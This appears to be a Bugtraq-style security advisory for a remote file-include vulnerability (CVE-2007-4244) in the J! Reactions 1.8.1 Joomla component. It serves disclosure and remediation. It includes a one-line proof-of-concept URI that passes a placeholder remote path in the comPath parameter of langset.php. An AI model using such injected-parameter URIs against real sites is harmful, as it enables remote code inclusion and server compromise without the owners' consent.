J! Reactions comPath Remote File Include Vulnerability

Bugtraq ID:	25198
Class:	Input Validation Error
CVE:	CVE-2007-4244
Remote:	Yes
Local:	No
Published:	Aug 04 2007 12:00AM
Updated:	May 07 2015 05:36PM
Credit:	Yollubunlar.Org is credited with the discovery of this vulnerability.
Vulnerable:	J! Reactions J! Reactions 1.8.1
Not Vulnerable:

J! Reactions comPath Remote File Include Vulnerability

J! Reactions is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects J! Reactions 1.8.1; other versions may also be vulnerable.

J! Reactions comPath Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/administrator/components/com_jreactions/langset.php?comPath=Evil?

J! Reactions comPath Remote File Include Vulnerability

Solution:
The vendor released a patch to address this issue. Please the references for more information.

J! Reactions comPath Remote File Include Vulnerability

References:

• J! Reactions Product Page (J! Reactions)
  
• Joomla J! Reactions Component Rfi (Yollubunlar.Org)
  
• Joomla J! Reactions Component Remote File include Bug ([email protected])
  
• Re: Joomla J! Reactions Component Remote File include Bug ([email protected])
  
• Re: Re: Joomla J! Reactions Component Remote File include Bug ([email protected])